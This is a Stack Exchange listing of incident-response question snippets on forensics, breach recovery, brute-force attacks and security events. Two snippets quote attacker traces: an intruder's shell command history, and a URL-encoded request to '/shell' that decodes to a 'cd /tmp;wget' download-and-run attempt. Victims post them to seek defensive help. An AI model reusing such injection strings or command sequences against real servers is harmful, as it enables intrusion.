Stack Exchange Network

Stack Exchange network consists of 175 Q&A communities including Stack Overflow, the largest, most trusted online community for developers to learn, share their knowledge, and build their careers.

Visit Stack Exchange

Questions tagged [incident-response]

The art of responding to incidents in an organized and thoughtful manner.

0
votes
1answer
87 views

Tools for reverse engineering malicious executables? [closed]

Are there any tools that one can reliably use for decompiling malicious executables in order to understand the inner workings of the same? Or any other reliable tool/way to quickly derive the code?
-2
votes
1answer
50 views

Pure-ftpd connections from unknown IPs

I'm seeing unknown IPs in results like this in the messages log on a CentOS 6 webserver, are these IPs actually accessing the machine? Mar 13 19:11:49 server pure-ftpd: (?@some.ip.here) [INFO] New ...
5
votes
1answer
210 views

a mysterious & pointless long-term hacking attempt?

It seems that I am the target of a mysterious ongoing hacking attempt. I have several domain names, most of which are currently parked & pointed at a single ‘main’ website. For the last couple ...
2
votes
3answers
90 views

Confusing terminologies: Incident, alert, event, ticket [duplicate]

I am doing research on Security orchestration and automation response (SOAR) and three above terminologies make me very confused. We are currently following the workflow like: some security events ...
0
votes
0answers
82 views

My mail server has seemingly been compromised, but I don't know how

We have a mail server on CPanel, and we added the company email accounts from CPanel. We use outlook as the email client. When we send emails to the procurement department, the hacker gets a copy. ...
1
vote
3answers
104 views

What use to automate incident response? [closed]

I am now read about TheHive Project - open source incident response platform. Today i asked developers about automatization of incidents, and find, that TheHive can't do this. Main feature for me is ...
1
vote
1answer
77 views

Persistent Bootable USB with Write Protection?

I am developing a series of extraction scripts (currently python 2.7) for a university project - these tools will be provided on a bootable USB for use by first responders when encountering a suspect ...
5
votes
5answers
642 views

Incident response and recovery from a security breach with unknown attack vector

Security breaches, hacks, “cyber” attacks or server compromises happen quite frequently, unfortunately, such as Quora in December 2018, Facebook in September 2018, Equifax in September 2017, Exactis ...
62
votes
5answers
17k views

Can Beehive detect a Snowden-like actor?

In a seminar, one of the Authors of Beehive: Large-Scale Log Analysis for Detecting Suspicious Activity in Enterprise Networks said that this system can prevent actions like Snowden did. From their ...
27
votes
5answers
8k views

I detected someone probing my site for weaknesses, what can I do about it? [duplicate]

My site has been getting probed by a bunch of IPs from Morroco (trying to submit forms, trying out potential URLs, trying to execute scripts etc..), I have a strong suspicion it's the same person ...
1
vote
2answers
261 views

Remote code execution and XSS vulnerabilities. What steps should be taken to secure a server once these are discovered and patched?

I've just been notified of a remote code execution vulnerability and an xss vulnerability on a site that I run. I've fixed the responsible code, but I'm wondering what steps should be taken afterwards ...
0
votes
1answer
41 views

How to recover disk image from a smartphone in “bootloop” state?

I've been playing around on data recovery from devices and so far it worked well. Now I got this new situation that I don't know how to proceed in order to put my hands on the data. My old smartphone ...
0
votes
0answers
958 views

Detection and attribution of a running attack toward US elections

Recently an attack based on booby trapped web servers was blocked by Microsoft through seizure of some of the known server names used in this attack. This attack analysis was focused to defend US ...
3
votes
1answer
60 views

Methodology for finding existing adversary presence on network

A technology company starts small in the early 90's and, for various reasons, blows up into a multi-million dollar company in a very short time around 2013. The problem is that this company is ...
0
votes
1answer
77 views

CSIRT Softwares [closed]

I'm wondering what kind of software Computer Security Emergency Response teams use to manage their work? For example to catalog incidents, responses and manage risks.
2
votes
1answer
202 views

Use Splunk to run Nmap scan from remote host to potential attacker

When receiving internal attacks, I'd like to utilize Splunk alerts to trigger an Nmap scan against that attacking host from a remote machine; one other than the Splunk server. Is there any API or ...
1
vote
1answer
179 views

CEH Incident Response phases: Investigation vs Analysis

I am preparing for CEH from Oriyano book. He refers to NIST's incident response phases. These phases are: Response Triage Investigation Containment Analysis and tracking Recovery Repair Debriefing ...
3
votes
1answer
94 views

Managing critical passwords and data across a small business with a focus on business continuity

I work with a small startup in the beginning of it's life cycle. I recently raised some security concerns involving business continuity and emergency preparedness. I have been trying to make a ...
1
vote
1answer
214 views

Can we know what hacker has come up to so far in his attempt?

I have discovered 'accidentally' while searching in my command history, that some one has issued these : passwd w cat /proc/cpuinfo free -m uptime w perl v.py python v.py chmod +x * ./a 94.10 and ...
57
votes
8answers
19k views

Brutalized VPS recovery data now available. Considerations? [closed]

Backstory My sites and VPS were stolen from me. The hosting company and I were locked out and unable to access it. They weren't able to create a temp password for access because the attacker blocked ...
1
vote
0answers
152 views

Invalid certificate error appears on my web server for 10 minutes and then disappears

I have a raspberry pi that hosts a web server and has a DDNS registered through no-ip. I just had an issue connecting to my webserver because a certificate appeared to be installed on this server that ...
1
vote
1answer
241 views

SSD Wipe to remove known & unknown malware [duplicate]

Does anyone know of a method to wipe a HDD that gives a high degree of confidence that any malware present will not persist when the OS is reinstalled? Using tools on Linux and/or Windows? We have ...
2
votes
2answers
133 views

How to best educate users on telltale signs of malware infections?

My company is in the process of training and testing all employees on our security policies and practices. As a member of the team doing this training and testing, I had a thought that it may be ...
2
votes
2answers
466 views

What's the danger of malicious JS and .DOC files in the AppData\Local\Temp folder?

I keep seeing malicious .DOC and .JS files appear in the \AppData\Local\Temp & the \Temporary Internet Files of users. A few questions: Under what circumstances do DOCs and JS files appear in ...
46
votes
3answers
7k views

Should we keep logs forever to investigate past data breaches?

Listening to the Secure code lessons from Have I Been Pwned made me really think about logging. It appears that in the real world a lot of data breaches are discovered long after they happened which ...
16
votes
8answers
3k views

How to make people report incidents?

I would like to know how you make employees report incidents. Incident reports are a key element of an ISMS. No reports = No discovery of the incident = High chance things go out of control. We have ...
0
votes
3answers
92 views

Is it recommended to patch announced vulnerability for unused services or features?

Sometimes vendors announce software upgrade to patch some discovered vulnerability in some feature or service which is not enabled in your system. Is it recommended to upgrade your software although ...
6
votes
1answer
337 views

What are the most valuable information when handling an IT security event/incident?

I'm currently looking into reporting processes in information security and I was wondering what kind of information should be reported when an IT security event or incident occurs. The definitions of ...
6
votes
1answer
433 views

What are some options for a small company on a budget to maintain a bug bounty program? [closed]

I work for a B2B SaaS startup that doesn't have a lot of money (we're 6 people, 2 developers, have about 6 months of runway, and $25K monthly revenue, < 50 customers). Common advice that I've seen ...
0
votes
0answers
3k views

Is this event a security concern: Windows 10: Event 360, User Device Registration?

My computer just froze, and I ended up having to reboot. It appears Windows Defender was coming up with a notification, but that froze as well. I was trying to see what went wrong in the event ...
0
votes
0answers
61 views

How user can change the tty information (related to CVE-2017-1000367)

Recently Red Hat fixed an important vulnerability in sudo: https://access.redhat.com/security/cve/cve-2017-1000367 From the description: A flaw was found in the way sudo parsed tty information ...
3
votes
2answers
482 views

Incident Responders: Can you give some examples of Incidents / types of incidents that are suitable for fully or partly automated response? [closed]

You setup security monitoring - either a full commercial SIEM/SOC or something home-cooked (e.g., rsyslog -> OSSIM / MozDef / Splunk / ...). You also setup some rules so that some event triage is ...
0
votes
2answers
60 views

Trusting your Incident Response Tool

Let's say you deploy an incident response tool on a server or endpoint such that you can connect to the system remotely if an incident occurs. In one of the worst cases you could have a rootkit, ...
2
votes
0answers
109 views

How to manually download an MMS without opening?

I'm looking into a potential Stagefright attack on an Android mobile (AOS 5.+). But since I'm not an expert on the subject, I fail to find a simple way to safely download the MMS for inspection. I was ...
0
votes
1answer
102 views

Unknown Requests on URL Web Filter Proxy

While trying to work on incident investigation, I am seeing continuous https requests from website cdn.syndication.twimg.com:443/widgets/timelines/paged/ callback=__twttr.callbacks.tl domain=www....
2
votes
1answer
184 views

Rogue device found on network

Whilst scanning my own network, I recently came across what seems like a rogue device. After running an nmap scan on it I found out it has four 'strange' ports open. 4096 (HTTP server) 13000 (Unknown,...
4
votes
1answer
249 views

How could this attack work?

I was browsing my apache logs, and I found the following request (which resulted in a 404): 106.75.130.216 - - [DD/MMM/YYYY:hh:mm:ss] "GET /shell?%63%64%20%2F%74%6D%70%3B%77%67%65%74%20%68%74%74%70%...
0
votes
1answer
516 views

How to tell when a masquerade attack is occurring?

As I understand it, a masquerade attack is when an attacker acts as a registered/ authenticated user or entity in a system. There are obviously ways to prevent this, for example user education, don'...
1
vote
0answers
93 views

Malicious Actor with Physical Access to Encrypted Machine [duplicate]

Some background: My org is potentially involved in a legal dispute with a securities brokerage in a under-developed country with mediocre rule of law. The broker also is responsible for co-locating a ...
59
votes
1answer
4k views

What's the Impact of the CloudFlare Reverse Proxy Bug? (“#CloudBleed”)

In Project Zero #1139, it was disclosed that CloudFlare had a bug which disclosed uninitialized memory, leaking private data sent through them via SSL. What's the real impact?
2
votes
1answer
2k views

What is implication of ICMP timestamp responses?

I have tried to understand CVE-1999-0524. It is recommended to configure the firewall to prevent ICMP timestamp responses: https://access.redhat.com/security/cve/cve-1999-0524 What if I will not do it?...
26
votes
8answers
6k views

How to respond to a SSH brute force attack on a single VPS?

I logged onto my VPS this morning to find millions of failed login attempts for the root user and other users that don't even exist. I took the below measures to try and obfuscate the attackers ...
5
votes
2answers
306 views

How can intelligence services be so sure that Russia is the culprit? [closed]

Recently, US and non-US media has been publishing many articles regarding Russia being involved in the "Podesta-hack" or even accusing Putin of being directly responsible. For example: "Putin ...
8
votes
2answers
2k views

Should I delete my Yahoo! account?

NBC News is running this story: "Experts: Don't Delete Your Yahoo! Account". According to the story, if your account's email is linked to your online banking account, deleting your account will ...
2
votes
2answers
116 views

What's the next step if an organization doesn't respond to warnings of a potential data breach?

I've recently started getting a rash of junk mail to a particular email address. I give out unique addresses to all organizations I deal with, so I know exactly who has this address on file. The ...
1
vote
0answers
439 views

Extract Outlook email attachments from memory

Does anyone know if there is a way to extract Outlook emails with attachments from memory? What I have tried is to use volatility to dump PST files from memory and then use libpff to recover the ...
2
votes
2answers
1k views

Can SMS messages be traced to a specific phone after one month time has passed? [closed]

I have been cyber bullied by an unknown assailant. They sent several emails using a throwaway GMail account and then sent several SMS texts from two different phone numbers. The last number actually ...
0
votes
3answers
3k views

What is the difference between artifact and evidence

I am reading about the incident response. I cannot able to understand exactly the terms artifact and evidence. When i searched in google so many resources are using these terms generally. How can i ...
0
votes
1answer
85 views

How should I detect and respond to bad actors who perform SQL injections?

SQL Azure has a logic component called Threat Detection. I assume it looks for SQL Injection, but also evidence of dangerous commands like sp_exec. I would like to expand that scope, and also ...
3
votes
3answers
137 views

BlackHole Toolkit v2 JAVA Payload Stage Code Execution - What does this activity mean?! I cannot get hold of the owner of the server to check

An analyst came across this alert - BlackHole Toolkit v2 JAVA Payload Stage Code Execution from the Checkpoint IPS coming from a server, the event is recorded as a blocked outgoing connection attempt -...